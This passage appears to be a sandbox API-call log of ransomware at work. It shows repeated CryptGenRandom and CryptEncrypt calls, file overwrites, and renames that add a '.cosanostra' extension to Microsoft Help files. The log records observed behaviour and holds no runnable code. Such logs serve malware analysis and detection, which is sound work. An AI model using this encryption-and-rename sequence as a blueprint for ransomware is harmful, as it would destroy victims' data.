| out: lpBuffer=0x2abf2cc*, lpNumberOfBytesWritten=0x2abf28c*=0x4, lpOverlapped=0x0) returned 1 [0095.015] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf28c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf28c*=0x30, lpOverlapped=0x0) returned 1 [0095.015] CloseHandle (hObject=0x180) returned 1 [0095.015] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.cosanostra") returned 76 [0095.016] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.cosanostra")) returned 1 [0095.016] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2d0 | out: pbBuffer=0x2abf2d0) returned 1 [0095.016] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2c8*=0x30) returned 1 [0095.016] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.019] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned 61 [0095.019] StrStrW (lpFirst="MS.POWERPNT.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.020] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.020] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2abf28c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf28c*=0x158, lpOverlapped=0x0) returned 1 [0095.020] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.020] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf28c, lpOverlapped=0x0 | out: lpBuffer=0x2abf2cc*, lpNumberOfBytesWritten=0x2abf28c*=0x4, lpOverlapped=0x0) returned 1 [0095.020] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf28c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf28c*=0x30, lpOverlapped=0x0) returned 1 [0095.020] CloseHandle (hObject=0x180) returned 1 [0095.020] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.cosanostra") returned 72 [0095.020] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn.cosanostra")) returned 1 [0095.021] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2c8 | out: pbBuffer=0x2abf2c8) returned 1 [0095.021] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2c0*=0x30) returned 1 [0095.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.022] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned 64 [0095.022] StrStrW (lpFirst="MS.OUTLOOK.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.023] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.023] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x2abf284, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf284*=0x16a, lpOverlapped=0x0) returned 1 [0095.023] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.023] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf284, lpOverlapped=0x0 | out: lpBuffer=0x2abf2c4*, lpNumberOfBytesWritten=0x2abf284*=0x4, lpOverlapped=0x0) returned 1 [0095.023] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf284, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf284*=0x30, lpOverlapped=0x0) returned 1 [0095.023] CloseHandle (hObject=0x180) returned 1 [0095.023] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.cosanostra") returned 75 [0095.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn.cosanostra")) returned 1 [0095.024] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2c8 | out: pbBuffer=0x2abf2c8) returned 1 [0095.024] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2c0*=0x30) returned 1 [0095.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.025] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned 60 [0095.025] StrStrW (lpFirst="MS.OUTLOOK.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.025] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.025] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2abf284, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf284*=0x152, lpOverlapped=0x0) returned 1 [0095.026] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.026] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf284, lpOverlapped=0x0 | out: lpBuffer=0x2abf2c4*, lpNumberOfBytesWritten=0x2abf284*=0x4, lpOverlapped=0x0) returned 1 [0095.026] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf284, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf284*=0x30, lpOverlapped=0x0) returned 1 [0095.026] CloseHandle (hObject=0x180) returned 1 [0095.026] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.cosanostra") returned 71 [0095.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn.cosanostra")) returned 1 [0095.026] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2c0 | out: pbBuffer=0x2abf2c0) returned 1 [0095.026] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2b8*=0x30) returned 1 [0095.026] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.027] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned 60 [0095.027] StrStrW (lpFirst="MS.ONENOTE.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.028] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.028] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2abf27c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf27c*=0x152, lpOverlapped=0x0) returned 1 [0095.028] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.028] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf27c, lpOverlapped=0x0 | out: lpBuffer=0x2abf2bc*, lpNumberOfBytesWritten=0x2abf27c*=0x4, lpOverlapped=0x0) returned 1 [0095.028] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf27c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf27c*=0x30, lpOverlapped=0x0) returned 1 [0095.028] CloseHandle (hObject=0x180) returned 1 [0095.028] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.cosanostra") returned 71 [0095.029] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn.cosanostra")) returned 1 [0095.029] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2c0 | out: pbBuffer=0x2abf2c0) returned 1 [0095.029] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2b8*=0x30) returned 1 [0095.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.030] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn") returned 56 [0095.030] StrStrW (lpFirst="MS.OIS.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.031] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffec6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.031] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2abf27c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf27c*=0x13a, lpOverlapped=0x0) returned 1 [0095.031] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.031] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf27c, lpOverlapped=0x0 | out: lpBuffer=0x2abf2bc*, lpNumberOfBytesWritten=0x2abf27c*=0x4, lpOverlapped=0x0) returned 1 [0095.031] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf27c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf27c*=0x30, lpOverlapped=0x0) returned 1 [0095.031] CloseHandle (hObject=0x180) returned 1 [0095.031] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn.cosanostra") returned 67 [0095.031] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn.cosanostra")) returned 1 [0095.032] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2b8 | out: pbBuffer=0x2abf2b8) returned 1 [0095.032] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2b0*=0x30) returned 1 [0095.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.032] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned 59 [0095.032] StrStrW (lpFirst="MS.MSTORE.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.033] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.033] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2abf274, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf274*=0x14c, lpOverlapped=0x0) returned 1 [0095.033] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.033] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf274, lpOverlapped=0x0 | out: lpBuffer=0x2abf2b4*, lpNumberOfBytesWritten=0x2abf274*=0x4, lpOverlapped=0x0) returned 1 [0095.033] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf274, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf274*=0x30, lpOverlapped=0x0) returned 1 [0095.033] CloseHandle (hObject=0x180) returned 1 [0095.033] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn.cosanostra") returned 70 [0095.034] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn.cosanostra")) returned 1 [0095.034] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2b8 | out: pbBuffer=0x2abf2b8) returned 1 [0095.034] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2b0*=0x30) returned 1 [0095.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.035] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned 62 [0095.035] StrStrW (lpFirst="MS.MSPUB.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.036] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.036] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2abf274, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf274*=0x15e, lpOverlapped=0x0) returned 1 [0095.036] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.036] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf274, lpOverlapped=0x0 | out: lpBuffer=0x2abf2b4*, lpNumberOfBytesWritten=0x2abf274*=0x4, lpOverlapped=0x0) returned 1 [0095.036] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf274, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf274*=0x30, lpOverlapped=0x0) returned 1 [0095.036] CloseHandle (hObject=0x180) returned 1 [0095.036] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.cosanostra") returned 73 [0095.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn.cosanostra")) returned 1 [0095.037] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2b0 | out: pbBuffer=0x2abf2b0) returned 1 [0095.037] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2a8*=0x30) returned 1 [0095.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.037] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned 58 [0095.037] StrStrW (lpFirst="MS.MSPUB.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.038] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.038] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2abf26c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf26c*=0x146, lpOverlapped=0x0) returned 1 [0095.038] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.038] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf26c, lpOverlapped=0x0 | out: lpBuffer=0x2abf2ac*, lpNumberOfBytesWritten=0x2abf26c*=0x4, lpOverlapped=0x0) returned 1 [0095.039] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf26c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf26c*=0x30, lpOverlapped=0x0) returned 1 [0095.039] CloseHandle (hObject=0x180) returned 1 [0095.039] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn.cosanostra") returned 69 [0095.039] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn.cosanostra")) returned 1 [0095.039] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2b0 | out: pbBuffer=0x2abf2b0) returned 1 [0095.039] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2a8*=0x30) returned 1 [0095.039] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.040] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned 58 [0095.040] StrStrW (lpFirst="MS.MSOUC.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.040] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.041] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2abf26c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf26c*=0x146, lpOverlapped=0x0) returned 1 [0095.041] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.041] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf26c, lpOverlapped=0x0 | out: lpBuffer=0x2abf2ac*, lpNumberOfBytesWritten=0x2abf26c*=0x4, lpOverlapped=0x0) returned 1 [0095.041] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf26c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf26c*=0x30, lpOverlapped=0x0) returned 1 [0095.041] CloseHandle (hObject=0x180) returned 1 [0095.041] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn.cosanostra") returned 69 [0095.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn.cosanostra")) returned 1 [0095.042] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2a8 | out: pbBuffer=0x2abf2a8) returned 1 [0095.042] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2a0*=0x30) returned 1 [0095.042] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.043] lstrlenW 